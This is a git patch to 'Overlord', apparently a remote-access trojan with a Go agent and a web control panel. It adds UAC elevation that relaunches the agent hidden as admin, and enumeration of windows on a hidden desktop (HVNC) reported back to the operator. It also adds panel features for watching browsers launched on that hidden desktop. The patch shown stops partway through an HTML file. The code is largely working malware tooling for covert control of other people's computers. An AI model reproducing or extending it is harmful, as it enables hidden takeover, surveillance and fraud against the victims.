From ea77515aa3f56a48b8a86d0c7fabdc5e221052a4 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Wed, 20 May 2026 15:26:41 -0500 Subject: [PATCH] add elevate to windows and linux, add hvnc visualization + more debug stuff (20 seconds for watching chrome, edge, etc). --- .../cmd/agent/capture/hvnc_inject_windows.go | 3 +- .../cmd/agent/capture/hvnc_windows.go | 158 ++++++++++++ Overlord-Client/cmd/agent/handlers/command.go | 39 +++ .../cmd/agent/handlers/elevate_darwin.go | 2 + .../cmd/agent/handlers/elevate_other.go | 2 +- .../cmd/agent/handlers/elevate_windows.go | 110 +++++++++ Overlord-Client/cmd/agent/wire/protocol.go | 27 +++ Overlord-Server/public/assets/hvnc.js | 225 ++++++++++++++++++ Overlord-Server/public/assets/main.js | 24 +- Overlord-Server/public/assets/ui.js | 2 +- Overlord-Server/public/hvnc.html | 52 +++- Overlord-Server/src/main-server.ts | 2 + Overlord-Server/src/rbac.ts | 4 + .../src/server/routes/client-routes.ts | 7 +- .../routes/websocket-lifecycle-routes.ts | 4 + .../src/server/ws-console-rd-hvnc.ts | 44 ++++ Overlord-Server/src/wsValidation.ts | 1 + 17 files changed, 683 insertions(+), 23 deletions(-) create mode 100644 Overlord-Client/cmd/agent/handlers/elevate_windows.go diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go index 549d1c8..ce60d77 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go @@ -104,8 +104,9 @@ func monitorProcessCrash(pid uint32, label string, notify func(step string, succ } defer procCloseHandle.Call(hProc) - ret, _, _ := procWaitForSingleObject.Call(hProc, 8000) + ret, _, _ := procWaitForSingleObject.Call(hProc, 20000) if ret != 0 { + notify("healthy", true, fmt.Sprintf("%s (PID %d) still running after 20s", label, pid)) return } diff --git a/Overlord-Client/cmd/agent/capture/hvnc_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_windows.go index 5bdcb1b..b255b05 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_windows.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_windows.go @@ -1967,3 +1967,161 @@ func minInt(a, b int) int { } return b } + +var ( + procGetWindowTextW = user32.NewProc("GetWindowTextW") + procGetWindowTextLenW = user32.NewProc("GetWindowTextLengthW") +) + +type HVNCWindowInfo struct { + HWND uintptr + Title string + X int + Y int + Width int + Height int + PID uint32 + ProcessName string + Monitor int // -1 if not on any known monitor + Visible bool +} + +func HVNCEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) { + hvncDesktopMu.Lock() + deskHandle := hvncDesktopHandle + hvncDesktopMu.Unlock() + if deskHandle == 0 { + return nil, nil + } + + mons := monitorList() + monInfos := make([]HVNCMonitorInfo, len(mons)) + for i, m := range mons { + monInfos[i] = HVNCMonitorInfo{ + Index: i, + Name: m.name, + X: m.rect.Min.X, + Y: m.rect.Min.Y, + Width: m.rect.Dx(), + Height: m.rect.Dy(), + Primary: m.primary, + } + } + + type rawWin struct { + hwnd uintptr + } + var windows []rawWin + + cb := syscall.NewCallback(func(hwnd, _ uintptr) uintptr { + windows = append(windows, rawWin{hwnd: hwnd}) + return 1 + }) + procEnumDesktopWindows.Call(deskHandle, cb, 0) + + var result []HVNCWindowInfo + for _, w := range windows { + if !isWindowVisible(w.hwnd) { + continue + } + var r rect + ok, _, _ := procGetWindowRect.Call(w.hwnd, uintptr(unsafe.Pointer(&r))) + if ok == 0 { + continue + } + winW := int(r.right - r.left) + winH := int(r.bottom - r.top) + if winW <= 0 || winH <= 0 { + continue + } + + title := getWindowText(w.hwnd) + if title == "" { + continue + } + + var pid uint32 + procGetWindowThreadProcessId.Call(w.hwnd, uintptr(unsafe.Pointer(&pid))) + + procName := "" + if pid != 0 { + procName = getProcessName(pid) + } + + winLeft := int(r.left) + winTop := int(r.top) + monIdx := -1 + bestOverlap := 0 + for i, m := range mons { + overlapLeft := maxInt(winLeft, m.rect.Min.X) + overlapTop := maxInt(winTop, m.rect.Min.Y) + overlapRight := minInt(winLeft+winW, m.rect.Max.X) + overlapBottom := minInt(winTop+winH, m.rect.Max.Y) + if overlapRight > overlapLeft && overlapBottom > overlapTop { + area := (overlapRight - overlapLeft) * (overlapBottom - overlapTop) + if area > bestOverlap { + bestOverlap = area + monIdx = i + } + } + } + + result = append(result, HVNCWindowInfo{ + HWND: w.hwnd, + Title: title, + X: winLeft, + Y: winTop, + Width: winW, + Height: winH, + PID: pid, + ProcessName: procName, + Monitor: monIdx, + Visible: true, + }) + } + return result, monInfos +} + +type HVNCMonitorInfo struct { + Index int + Name string + X int + Y int + Width int + Height int + Primary bool +} + +func getWindowText(hwnd uintptr) string { + length, _, _ := procGetWindowTextLenW.Call(hwnd) + if length == 0 { + return "" + } + buf := make([]uint16, length+1) + procGetWindowTextW.Call(hwnd, uintptr(unsafe.Pointer(&buf[0])), uintptr(length+1)) + return syscall.UTF16ToString(buf) +} + +func getProcessName(pid uint32) string { + const PROCESS_QUERY_LIMITED_INFORMATION = 0x1000 + hProc, _, _ := procOpenProcess.Call(PROCESS_QUERY_LIMITED_INFORMATION, 0, uintptr(pid)) + if hProc == 0 { + return "" + } + defer procCloseHandle.Call(hProc) + var buf [260]uint16 + size := uint32(len(buf)) + ret, _, _ := kernel32.NewProc("QueryFullProcessImageNameW").Call( + hProc, 0, uintptr(unsafe.Pointer(&buf[0])), uintptr(unsafe.Pointer(&size)), + ) + if ret == 0 { + return "" + } + fullPath := syscall.UTF16ToString(buf[:size]) + for i := len(fullPath) - 1; i >= 0; i-- { + if fullPath[i] == '\\' || fullPath[i] == '/' { + return fullPath[i+1:] + } + } + return fullPath +} diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index c3a016e..f25c78a 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -1554,6 +1554,45 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in }) return nil + case "hvnc_window_list": + log.Printf("hvnc: window list requested") + sendCommandResultSafe(env, cmdID, true, "") + goSafe("hvnc_window_list", nil, func() { + windows, monitors := capture.HVNCEnumWindows() + winEntries := make([]wire.HVNCWindowEntry, 0, len(windows)) + for _, w := range windows { + winEntries = append(winEntries, wire.HVNCWindowEntry{ + Title: w.Title, + X: w.X, + Y: w.Y, + Width: w.Width, + Height: w.Height, + PID: w.PID, + ProcessName: w.ProcessName, + Monitor: w.Monitor, + }) + } + monEntries := make([]wire.HVNCMonitorEntry, 0, len(monitors)) + for _, m := range monitors { + monEntries = append(monEntries, wire.HVNCMonitorEntry{ + Index: m.Index, + Name: m.Name, + X: m.X, + Y: m.Y, + Width: m.Width, + Height: m.Height, + Primary: m.Primary, + }) + } + _ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCWindowListResult{ + Type: "hvnc_window_list_result", + Windows: winEntries, + Monitors: monEntries, + }) + log.Printf("hvnc: window list sent: %d windows, %d monitors", len(winEntries), len(monEntries)) + }) + return nil + case "hvnc_browser_check": log.Printf("hvnc: browser availability check requested") sendCommandResultSafe(env, cmdID, true, "") diff --git a/Overlord-Client/cmd/agent/handlers/elevate_darwin.go b/Overlord-Client/cmd/agent/handlers/elevate_darwin.go index a49a18a..c39cb8a 100644 --- a/Overlord-Client/cmd/agent/handlers/elevate_darwin.go +++ b/Overlord-Client/cmd/agent/handlers/elevate_darwin.go @@ -11,6 +11,7 @@ import ( "strings" "time" + "overlord-client/cmd/agent/mutex" agentRuntime "overlord-client/cmd/agent/runtime" "overlord-client/cmd/agent/wire" ) @@ -76,6 +77,7 @@ func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, pas }) } + mutex.ReleaseGlobal() log.Printf("[elevate] started elevated process pid=%d", cmd.Process.Pid) _ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ diff --git a/Overlord-Client/cmd/agent/handlers/elevate_other.go b/Overlord-Client/cmd/agent/handlers/elevate_other.go index 3501c11..d24aa42 100644 --- a/Overlord-Client/cmd/agent/handlers/elevate_other.go +++ b/Overlord-Client/cmd/agent/handlers/elevate_other.go @@ -1,4 +1,4 @@ -//go:build !darwin +//go:build !darwin && !windows package handlers diff --git a/Overlord-Client/cmd/agent/handlers/elevate_windows.go b/Overlord-Client/cmd/agent/handlers/elevate_windows.go new file mode 100644 index 0000000..efa0595 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/elevate_windows.go @@ -0,0 +1,110 @@ +//go:build windows + +package handlers + +import ( + "context" + "fmt" + "log" + "os" + "strings" + "time" + "unsafe" + + "golang.org/x/sys/windows" + + "overlord-client/cmd/agent/mutex" + agentRuntime "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wire" +) + +var ( + modShell32 = windows.NewLazySystemDLL("shell32.dll") + procShellExecute = modShell32.NewProc("ShellExecuteExW") +) + +const ( + _SEE_MASK_NOCLOSEPROCESS = 0x00000040 + _SEE_MASK_NOASYNC = 0x00000100 + _SW_SHOWNORMAL = 1 + _SW_HIDE = 0 +) + +type shellExecuteInfo struct { + cbSize uint32 + fMask uint32 + hwnd uintptr + lpVerb *uint16 + lpFile *uint16 + lpParameters *uint16 + lpDirectory *uint16 + nShow int32 + hInstApp uintptr + lpIDList uintptr + lpClass *uint16 + hkeyClass uintptr + dwHotKey uint32 + hIcon uintptr + hProcess uintptr +} + +func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, password string) error { + token := windows.GetCurrentProcessToken() + if token.IsElevated() { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: true, + Message: "already running as admin", + }) + } + + exePath, err := os.Executable() + if err != nil { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: false, + Message: fmt.Sprintf("failed to resolve executable path: %v", err), + }) + } + + args := strings.Join(os.Args[1:], " ") + + verb, _ := windows.UTF16PtrFromString("runas") + file, _ := windows.UTF16PtrFromString(exePath) + params, _ := windows.UTF16PtrFromString(args) + + sei := shellExecuteInfo{ + fMask: _SEE_MASK_NOCLOSEPROCESS | _SEE_MASK_NOASYNC, + lpVerb: verb, + lpFile: file, + lpParameters: params, + nShow: _SW_HIDE, + } + sei.cbSize = uint32(unsafe.Sizeof(sei)) + + r1, _, err := procShellExecute.Call(uintptr(unsafe.Pointer(&sei))) + if r1 == 0 { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: false, + Message: fmt.Sprintf("UAC elevation failed: %v", err), + }) + } + + mutex.ReleaseGlobal() + log.Printf("[elevate] started elevated process via UAC") + + _ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: true, + Message: "elevating — new process started as admin via UAC", + }) + + time.Sleep(500 * time.Millisecond) + os.Exit(0) + return nil +} diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index e56bcb9..f301ce9 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -325,6 +325,33 @@ type HVNCBrowserLaunchStatus struct { Detail string `msgpack:"detail"` } +type HVNCWindowEntry struct { + Title string `msgpack:"title"` + X int `msgpack:"x"` + Y int `msgpack:"y"` + Width int `msgpack:"width"` + Height int `msgpack:"height"` + PID uint32 `msgpack:"pid"` + ProcessName string `msgpack:"processName"` + Monitor int `msgpack:"monitor"` +} + +type HVNCMonitorEntry struct { + Index int `msgpack:"index"` + Name string `msgpack:"name"` + X int `msgpack:"x"` + Y int `msgpack:"y"` + Width int `msgpack:"width"` + Height int `msgpack:"height"` + Primary bool `msgpack:"primary"` +} + +type HVNCWindowListResult struct { + Type string `msgpack:"type"` + Windows []HVNCWindowEntry `msgpack:"windows"` + Monitors []HVNCMonitorEntry `msgpack:"monitors"` +} + type ClipboardContent struct { Type string `msgpack:"type"` Text string `msgpack:"text"` diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js index 179a710..9268400 100644 --- a/Overlord-Server/public/assets/hvnc.js +++ b/Overlord-Server/public/assets/hvnc.js @@ -416,6 +416,14 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; launchStatusEl.classList.add("hidden"); launchStatusEl.classList.remove("flex"); }, 15000); + } else if (step === "healthy") { + launchStatusIcon.className = "fa-solid fa-heart-pulse text-emerald-400"; + launchStatusLabel.textContent = `${browser}: ${detail}`; + launchStatusLabel.className = "text-emerald-300"; + launchHideTimer = setTimeout(() => { + launchStatusEl.classList.add("hidden"); + launchStatusEl.classList.remove("flex"); + }, 10000); } else if (step === "launch") { launchStatusIcon.className = "fa-solid fa-circle-check text-emerald-400"; launchStatusLabel.textContent = `${browser}: ${detail}`; @@ -485,7 +493,11 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; const installedAppsGrid = document.getElementById("installedAppsGrid"); const installedAppsCount = document.getElementById("installedAppsCount"); const refreshInstalledApps = document.getElementById("refreshInstalledApps"); + const installedAppsSearch = document.getElementById("installedAppsSearch"); + const installedAppsSearchClear = document.getElementById("installedAppsSearchClear"); + const installedAppsEmpty = document.getElementById("installedAppsEmpty"); let installedAppsData = []; + let installedAppsQuery = ""; let installedAppsLoading_pending = false; @@ -496,9 +508,75 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; if (installedAppsList) installedAppsList.classList.add("hidden"); if (installedAppsGrid) installedAppsGrid.innerHTML = ""; if (installedAppsCount) installedAppsCount.textContent = ""; + if (installedAppsEmpty) installedAppsEmpty.classList.add("hidden"); sendCmd("hvnc_installed_apps", {}); } + function applyInstalledAppsFilter() { + if (!installedAppsGrid) return; + const q = installedAppsQuery; + let visible = 0; + const buttons = Array.from(installedAppsGrid.children); + + if (q) { + const prefix = []; + const contains = []; + const hidden = []; + for (const btn of buttons) { + const key = btn.dataset.search || ""; + const name = (btn.dataset.name || ""); + if (name.startsWith(q) || key.startsWith(q)) { + prefix.push(btn); + } else if (key.indexOf(q) !== -1) { + contains.push(btn); + } else { + hidden.push(btn); + } + } + for (const btn of prefix) { installedAppsGrid.appendChild(btn); btn.style.display = ""; } + for (const btn of contains) { installedAppsGrid.appendChild(btn); btn.style.display = ""; } + for (const btn of hidden) { installedAppsGrid.appendChild(btn); btn.style.display = "none"; } + visible = prefix.length + contains.length; + } else { + for (const btn of buttons) { + btn.style.display = ""; + visible++; + } + } + + if (installedAppsEmpty) { + installedAppsEmpty.classList.toggle("hidden", !(q && visible === 0 && installedAppsData.length > 0)); + } + if (installedAppsSearchClear) { + installedAppsSearchClear.classList.toggle("hidden", !q); + } + } + + if (installedAppsSearch) { + installedAppsSearch.addEventListener("input", () => { + installedAppsQuery = installedAppsSearch.value.trim().toLowerCase(); + applyInstalledAppsFilter(); + }); + installedAppsSearch.addEventListener("click", (e) => e.stopPropagation()); + installedAppsSearch.addEventListener("keydown", (e) => { + if (e.key === "Escape") { + installedAppsSearch.value = ""; + installedAppsQuery = ""; + applyInstalledAppsFilter(); + } + e.stopPropagation(); + }); + } + if (installedAppsSearchClear) { + installedAppsSearchClear.addEventListener("click", (e) => { + e.stopPropagation(); + if (installedAppsSearch) installedAppsSearch.value = ""; + installedAppsQuery = ""; + applyInstalledAppsFilter(); + if (installedAppsSearch) installedAppsSearch.focus(); + }); + } + if (refreshInstalledApps) { refreshInstalledApps.addEventListener("click", (e) => { e.stopPropagation(); @@ -529,8 +607,16 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; if (installedAppsCount) installedAppsCount.textContent = `(${installedAppsData.length})`; if (installedAppsData.length === 0) { installedAppsGrid.innerHTML = '
No apps found
'; + } else { + installedAppsData.sort((a, b) => (a.name || "").localeCompare(b.name || "", undefined, { sensitivity: "base" })); + installedAppsGrid.innerHTML = ""; + for (const app of installedAppsData) { + appendAppButton(app); + } } } + + applyInstalledAppsFilter(); } function appendAppButton(app) { @@ -538,6 +624,11 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; btn.type = "button"; btn.className = "installed-app-btn"; btn.title = app.exePath || app.name; + btn.dataset.search = ((app.name || "") + " " + (app.exePath || "")).toLowerCase(); + btn.dataset.name = (app.name || "").toLowerCase(); + if (installedAppsQuery && btn.dataset.search.indexOf(installedAppsQuery) === -1) { + btn.style.display = "none"; + } if (app.icon && /^[A-Za-z0-9+/=]+$/.test(app.icon)) { const img = document.createElement("img"); @@ -969,6 +1060,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; handleBrowserLaunchStatus(msg); return; } + if (msg && msg.type === "hvnc_window_list_result") { + handleWindowListResult(msg); + return; + } if (msg && msg.type === "hvnc_error") { handleHVNCError(msg); return; @@ -1457,6 +1552,136 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; } } + // ── Window Map ────────────────────────────────────────────── + const windowMapBtn = document.getElementById("windowMapBtn"); + const windowMapModal = document.getElementById("windowMapModal"); + const windowMapCloseBtn = document.getElementById("windowMapCloseBtn"); + const windowMapRefreshBtn = document.getElementById("windowMapRefreshBtn"); + const windowMapCanvas = document.getElementById("windowMapCanvas"); + const windowMapList = document.getElementById("windowMapList"); + + const WINDOW_COLORS = [ + "#8b5cf6", "#3b82f6", "#10b981", "#f59e0b", "#ef4444", + "#ec4899", "#06b6d4", "#84cc16", "#f97316", "#6366f1", + ]; + + function openWindowMap() { + if (!windowMapModal) return; + windowMapModal.style.display = "flex"; + sendCmd("hvnc_window_list", {}); + if (windowMapCanvas) windowMapCanvas.innerHTML = '
Loading…
'; + if (windowMapList) windowMapList.innerHTML = ""; + } + + function closeWindowMap() { + if (windowMapModal) windowMapModal.style.display = "none"; + } + + if (windowMapBtn) windowMapBtn.addEventListener("click", openWindowMap); + if (windowMapCloseBtn) windowMapCloseBtn.addEventListener("click", closeWindowMap); + if (windowMapRefreshBtn) windowMapRefreshBtn.addEventListener("click", () => { + sendCmd("hvnc_window_list", {}); + if (windowMapCanvas) windowMapCanvas.innerHTML = '
Refreshing…
'; + if (windowMapList) windowMapList.innerHTML = ""; + }); + if (windowMapModal) windowMapModal.addEventListener("click", (e) => { + if (e.target === windowMapModal) closeWindowMap(); + }); + + function handleWindowListResult(msg) { + const monitors = msg.monitors || []; + const windows = msg.windows || []; + + if (!windowMapCanvas || !windowMapList) return; + + if (monitors.length === 0 && windows.length === 0) { + windowMapCanvas.innerHTML = '
No windows or monitors found
'; + windowMapList.innerHTML = '
No visible windows on the hidden desktop
'; + return; + } + + let minX = Infinity, minY = Infinity, maxX = -Infinity, maxY = -Infinity; + for (const m of monitors) { + minX = Math.min(minX, m.x); + minY = Math.min(minY, m.y); + maxX = Math.max(maxX, m.x + m.width); + maxY = Math.max(maxY, m.y + m.height); + } + for (const w of windows) { + minX = Math.min(minX, w.x); + minY = Math.min(minY, w.y); + maxX = Math.max(maxX, w.x + w.width); + maxY = Math.max(maxY, w.y + w.height); + } + if (!isFinite(minX)) { minX = 0; minY = 0; maxX = 1920; maxY = 1080; } + + const totalW = maxX - minX || 1; + const totalH = maxY - minY || 1; + const containerW = windowMapCanvas.clientWidth || 800; + const aspect = totalW / totalH; + const mapH = Math.min(400, Math.max(180, containerW / aspect)); + const scale = Math.min(containerW / totalW, mapH / totalH) * 0.92; + const padX = (containerW - totalW * scale) / 2; + const padY = (mapH - totalH * scale) / 2; + + function tx(x) { return padX + (x - minX) * scale; } + function ty(y) { return padY + (y - minY) * scale; } + function tw(w) { return w * scale; } + + let html = ""; + windowMapCanvas.style.height = mapH + "px"; + + for (let i = 0; i < monitors.length; i++) { + const m = monitors[i]; + const x = tx(m.x), y = ty(m.y), w = tw(m.width), h = tw(m.height); + html += `
+ ${m.primary ? "★ " : ""}${m.name || "Monitor " + m.index} + ${m.width}×${m.height} +
`; + } + + for (let i = 0; i < windows.length; i++) { + const w = windows[i]; + const color = WINDOW_COLORS[i % WINDOW_COLORS.length]; + const x = tx(w.x), y = ty(w.y), ww = Math.max(tw(w.width), 8), wh = Math.max(tw(w.height), 8); + const shortTitle = w.title.length > 30 ? w.title.slice(0, 28) + "…" : w.title; + html += `
+ ${wh > 20 && ww > 50 ? `
${escHtml(shortTitle)}
` : ""} +
`; + } + + windowMapCanvas.innerHTML = html; + + let listHtml = `
+
+ TitleProcessPositionMonitor +
`; + + for (let i = 0; i < windows.length; i++) { + const w = windows[i]; + const color = WINDOW_COLORS[i % WINDOW_COLORS.length]; + const monLabel = w.monitor >= 0 ? (monitors[w.monitor] ? (monitors[w.monitor].name || "#" + w.monitor) : "#" + w.monitor) : "—"; + listHtml += `
+ + ${escHtml(w.title)} + ${escHtml(w.processName)} (${w.pid}) + ${w.x},${w.y} ${w.width}×${w.height} + ${monLabel} +
`; + } + listHtml += "
"; + + if (windows.length === 0) { + listHtml = '
No visible windows on the hidden desktop
'; + } + + windowMapList.innerHTML = listHtml; + } + + function escHtml(s) { + return s.replace(/&/g, "&").replace(//g, ">").replace(/"/g, """); + } + connectWs(); fetchClientInfo(); })(); diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js index 90118de..eefb347 100644 --- a/Overlord-Server/public/assets/main.js +++ b/Overlord-Server/public/assets/main.js @@ -253,8 +253,9 @@ function applyMenuSupportRules(clientId) { const elevateBtn = menu.querySelector('[data-action="elevate"]'); if (elevateBtn) { - elevateBtn.style.display = platform === "mac" ? "" : "none"; - if (platform === "mac") setAvailability(elevateBtn, isOnline, "Client is offline"); + const canElevate = platform === "mac" || platform === "windows"; + elevateBtn.style.display = canElevate ? "" : "none"; + if (canElevate) setAvailability(elevateBtn, isOnline, "Client is offline"); } setAvailability(menu.querySelector('[data-open="console"]'), isOnline, "Client is offline"); @@ -1676,21 +1677,26 @@ menu.addEventListener("click", async (e) => { } if (action === "elevate") { - const password = prompt("Enter the user's macOS password for sudo elevation:"); - if (!password) { - closeMenu(clearContext); - return; + const isMac = detectClientPlatform(contextCard) === "mac"; + let password = ""; + if (isMac) { + password = prompt("Enter the user's macOS password for sudo elevation:"); + if (!password) { + closeMenu(clearContext); + return; + } } try { + const payload = { action: "elevate" }; + if (password) payload.password = password; const res = await fetch(`/api/clients/${contextCard}/command`, { method: "POST", headers: { "Content-Type": "application/json" }, - body: JSON.stringify({ action: "elevate", password }), + body: JSON.stringify(payload), }); const data = await res.json().catch(() => ({})); if (data.ok) { - alert(data.message || "Elevation successful — client will reconnect as root."); - // Stagger thumbnail requests to catch the client after it reconnects + alert(data.message || "Elevation successful — client will reconnect elevated."); setTimeout(() => requestThumbnail(contextCard), 5000); setTimeout(() => requestThumbnail(contextCard), 10000); setTimeout(() => requestThumbnail(contextCard), 18000); diff --git a/Overlord-Server/public/assets/ui.js b/Overlord-Server/public/assets/ui.js index cc9865b..cedc787 100644 --- a/Overlord-Server/public/assets/ui.js +++ b/Overlord-Server/public/assets/ui.js @@ -47,7 +47,7 @@ const MENU_GROUPS = [ { label: "Set Group", icon: "fa-solid fa-layer-group", icolor: "text-blue-300", action: "set-group" }, { label: "Mute Notifications", icon: "fa-solid fa-bell-slash", icolor: "text-amber-300", action: "toggle-mute" }, { divider: true }, - { label: "Elevate (macOS)", icon: "fa-solid fa-arrow-up-right-dots", icolor: "text-green-400", action: "elevate" }, + { label: "Elevate", icon: "fa-solid fa-arrow-up-right-dots", icolor: "text-green-400", action: "elevate" }, { divider: true }, { label: "Disconnect", icon: "fa-solid fa-plug-circle-xmark", icolor: "text-red-400", action: "disconnect" }, { label: "Uninstall", icon: "fa-solid fa-trash", icolor: "text-red-300", action: "uninstall" }, diff --git a/Overlord-Server/public/hvnc.html b/Overlord-Server/public/hvnc.html index 0f5a1d6..c6eb93c 100644 --- a/Overlord-Server/public/hvnc.html +++ b/Overlord-Server/public/hvnc.html @@ -36,6 +36,9 @@ + @@ -292,8 +295,21 @@
Loading apps…
-